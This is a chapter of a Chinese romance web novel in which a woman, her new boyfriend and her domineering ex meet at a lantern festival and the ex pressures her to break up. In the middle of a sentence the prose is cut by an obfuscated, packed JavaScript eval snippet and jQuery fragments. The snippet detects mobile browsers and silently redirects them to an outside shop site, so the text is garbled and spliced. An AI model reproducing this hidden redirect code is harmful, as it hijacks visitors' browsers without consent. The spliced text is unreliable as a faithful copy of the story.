5. 质问

作品:《和前任闪婚后

    估摸是注意到了南栀明显变化的脸色,应淮锋利剑眉轻微挑起,朝她问来:“怎么?我打扰到了南小姐和男朋友约会?”


    南栀清楚他此刻出现在这里绝非巧合,也不是林成安极力巴结的结果。


    应淮肯定是有意为之,是直冲她来的。


    他什么样的身份,假如当真需要人陪看灯会,哪里轮得上她和林成安。


    他随口一句话,沪市最举足轻重的那几位都能摒弃阖家团圆的大好春节,连夜飞来。


    南栀聚起一肚子火气,直白地剜他两眼,故意捡他最不乐意入耳的话回:“嗯,打扰到了。”


    话音未落,应淮好整以暇的面色果然有所转变,好似一阵朔风从西伯利亚呼啸而至,席卷冰渣,温度一降再降,冻僵了一圈空气。


    林成安被吓得够呛,生怕他掉头走人,忙不迭打圆场:“她说笑的,应总别和她一般见识。”


    应淮阴晴不定,勾唇一笑,一双桃花眼倏然旖旎万种风情,赤/裸地凝向南栀:“我怎么会和南小姐一般见识?”


    他轻佻上扬的语调颇具深意,耐人寻味,听得南栀直皱眉头。


    林成安应当也感觉出了端倪,微有怔愣,视线扑闪不定,来回扫看两人。


    应淮是个疯起来就不顾他人死活的,南栀不想和他多扯,迅速提起双腿,三步并作两步地朝电梯迈。


    应淮和林成安后脚跟上。


    正月初一到十五的灯会现场最是火爆,偌大园区每晚都能吸纳上万人游玩观灯,说是摩肩擦踵,挤得密不透风也不为过。


    林成安搞到了三张贵宾票,他们从绿色通道走,还算顺畅地入了内场。


    几分钟的路程,林成安几乎围在应淮身侧,殷切备至地嘘寒问暖,搜刮话题,不让气氛有一刻冷场。


    南栀算是看明白了,林成安今天主动找上自己不是为了缓和关系,更不是为了陪自己逛灯会,纯属是为了应淮。


    她不动声色地落后半步,没心思去凑他俩的热闹,在临近华灯璀璨,游客密集的地段,她趁他们不留神,转身汇入湍急人潮,溜去了另外一条岔道。


    同时,她将手机调成静音,丢进包里,确保不受林成安的来电干扰。


    在国外读研的三年,南栀每年都缺席了灯会,对于一年胜过一年恢宏新颖的灯组设计有些陌生,但对这片场地可是熟悉。


    贡市灯会的举办地点近几年改过,她曾陪家人朋友来过几次。


    是以南栀驾轻就熟地穿行在川流不息的人群之间,去找灯熠承办的那几个大型灯组。


    其中有个命名为“国泰民安”的灯组位于园区最中心。


    这组也是今年一大网红,春节期间风靡短视频平台,不少游客是奔着它买的灯会门票。


    南栀算是到得晚的,灯组已经被不计其数的游客团团围聚,最佳观景位更是里三层外三层,水泄难通。


    虽说灯组高度超过了二十米,远处也能望见,但距离太远,许多细节瞧不真切。


    南栀只得挤进复杂湍急的人流,往最佳观景位去。


    好不容易接近,后面不知道是谁在推搡,结结实实挤了她一下。


    她始料不及,一个踉跄,摇摇晃晃地撞上了附近一个身形宽大威猛,像是从北方过来的糙汉子。


    不清楚男人本来就是一点就燃的暴脾气,还是被人山人海的观灯洪流炸出了满腹窝火,他扭过脑袋,不管三七二十一,张口就是高声暴呵:“挤个锤子啊!”


    南栀被吼得一愣,赶忙解释:“不好意思,我不是有意撞你的,刚刚是有人……”


    一句“有人推我”还没讲完,男人暴躁的叫喊一句接一句:“是不是没长眼睛?没长眼睛就回家关着去,没看见旁边站着老子啊?”


    他估计是气急败坏,光是嚷嚷还觉得无法出气,务必要以其人之道还治其人之身。


    他伸长粗壮肥实的右手,大力掀向南栀的肩膀。


    南栀一米六五的个头和身高接近一米九,体重超过两百斤的男人相比,跟小鸡崽子没有多大差别。


    她顷刻被掀得重心偏移,身子往后倾倒。


    就在她以为不是会跌去地上,就是又要撞上其他人的时候,一条虬结有力的手臂张来,稳稳接住她腰肢。


    几乎同时,一道尽显暴戾,锋芒迸射,一听就极不好惹的男声冲向对面男人:“你再凶她一个试试?”


    南栀方才脱险,勉强稳住的身体一僵,听出是应淮。


    男人肯定也是个欺软怕硬的,见到有人替她出头,肥厚嘴唇蠕动,却没遭发出半句逼逼,很快调转方向,消失在了人堆。


    这人走了,应淮宽大的手掌却纹丝不动,照旧握住她细细一截腰身。


    南栀挣扎,用手去掰:“你放开我。”


    “放开你,让你被其他人乱推?”应淮臂膀使劲儿,将人揽近一步,眼瞳如炬,没好脾气地问。


    南栀猝然和他贴得严丝合缝,隔着冬日厚重衣料,加速乱撞的心跳声好似还会被他感受。


    她愈发慌乱,一面竭力抗衡,一面睨着他回:“和你有什么关系?”


    她和他早就分了,他凭哪点再来管她?


    这声一落,应淮下颌绷紧,掐在她侧腰的指节止不住用力,笼罩周身的木质冷调又凛冽了几分。


    森寒逼人。


    南栀感觉到痛,拧眉发出一声轻嘶。


    应淮手劲儿稍微缓和了点,把她拉到客流少些的地方,才彻底收回手。


    南栀马上退后几步,同他拉远距离,后知后觉想起来一同进园区的还有林成安。


    她转动脑袋,左顾右盼地找。


    应淮应该猜到她在找谁,大步上前,虎口掐上她下巴,摆正小巧脸蛋,逼迫她为其他男人乱晃的眼珠定回他身上。


    “你又发什么疯?”逃过桎梏不过短短几秒,南栀再一次落进他手中,怒不可遏地骂。


    应淮神色阴鸷,俯身逼近:“为什么还没有分?”


    南栀双眸略微瞪圆了些,耳畔忽地刮来那天在酒吧包厢,他顽劣又不容置喙的“分了”。


    “我为什么要分?”南栀扭动下巴,甩掉他的钳制,脸不红心不跳地睁眼说瞎话,“我和林成安关系很好,他对我更是好得没话说,要是和他分了,我上哪里去找这么优秀的男朋友?”


    应淮眸色一暗,千万刀光剑影厮杀其中。


    倏忽,他一点点扯起唇角,凉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16620928|187878||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    薄笑意浮于表面,不达眼底,他笃定地说:“你会分的。”


    南栀鸦羽般的眼睫轻轻一颤,没来由地生出一股不妙的预感。


    正在这个时候,林成安响亮的嗓门从人堆里飘来:“应总,栀子,你们在这里啊。”


    三个人一块儿游园逛灯,却逛着逛着,只剩他一个,他最先找不见的人是应淮,接着才发现女朋友也丢了。


    他疯狂拨打两人的电话,得到的回应一般无二,全是无人接听。


    幸亏应淮的样貌气质无与伦比,往往令人过目难忘,林成安没问几个路人就大概摸清了方向,追着找了过来。


    没曾想还有意外收获,弄丢的女朋友一并找到了。


    但走近发现南栀和应淮状态怪异,不仅距离不同寻常的近,面色也值得深究。


    林成安心头涌出惶惶,不动声色地反复打量他们,不确定地问:“你们聊什么呢?”


    南栀不想多说,拿起相机,自顾自朝前面走了几步,远远地拍那组炫彩斑斓的“国泰民安”。


    应淮颇有闲情雅致,脊梁打直,回了林成安:“聊你。”


    南栀举起相机的指节略有晃动,心脏忐忑地撞。


    他们刚才的确在聊林成安。


    聊她为什么不和他分手。


    但这是能当着林成安的面说的吗?


    林成安来了兴致,惊奇地问:“聊我什么?”


    应淮抬起深沉眸光,毫不避讳地黏上另一边的南栀:“聊你有一个好女朋友。”


    南栀悚然一惊,按在快门上手指猛然用力,闪出没有对焦,又花又糊的一张。


    “那是当然,”林成安咧开嘴角,挺起腰杆,得意洋洋地说,“我在英国见到她的第一眼就喜欢得不得了,再去找她就表白了,可她当时说才分手了半年,不想找下一个。”


    一讲起新得的女朋友来,林成安就没完没了,有一句说一句,无所顾忌地往外面吐。


    “那会儿我可失落了,我可是头一回被女人拒绝,不过转念一想,我遇到她正是时候啊,她和前任分手了哎,是难得的空窗期哎,我追到她的几率不是更大吗?


    “说起来我得好好感谢这位前任哥,要不是他没有眼力劲儿,居然会和我们栀子分手,我能抱得美人归吗?如果有机会让我知道这人是谁,哪天碰到了,我必须要请他喝酒。”


    口若悬河地唠嗑到这里,林成安忽地发现应淮神情不太对劲,越来越黑,头上仿佛顶了一朵厚重乌云,风雨欲来。


    林成安不明所以,小心翼翼,试探性问:“应总这是怎么了?”


    他慌忙回顾一番,自个儿也没说什么了不得的话,得罪这尊活阎王啊。


    “我话可能比较多,但说的不是应总,应总随便当个乐子听听。”林成安摸不着头脑,只得赔着笑说。


    应淮幽凉的目光凝向他,蓦地一笑:“我也想请你喝酒。”


    林成安一愣:“啊?”


    大脑飞速转动,林成安以为他是认为今晚自己作陪得不错,还要给下次机会的意思,追问声较为雀跃:“真的吗?什么酒?我肯定要去喝啊。”


    应淮单薄唇瓣牵出的弧度更深,却无端阴恻恻的:“喜酒。”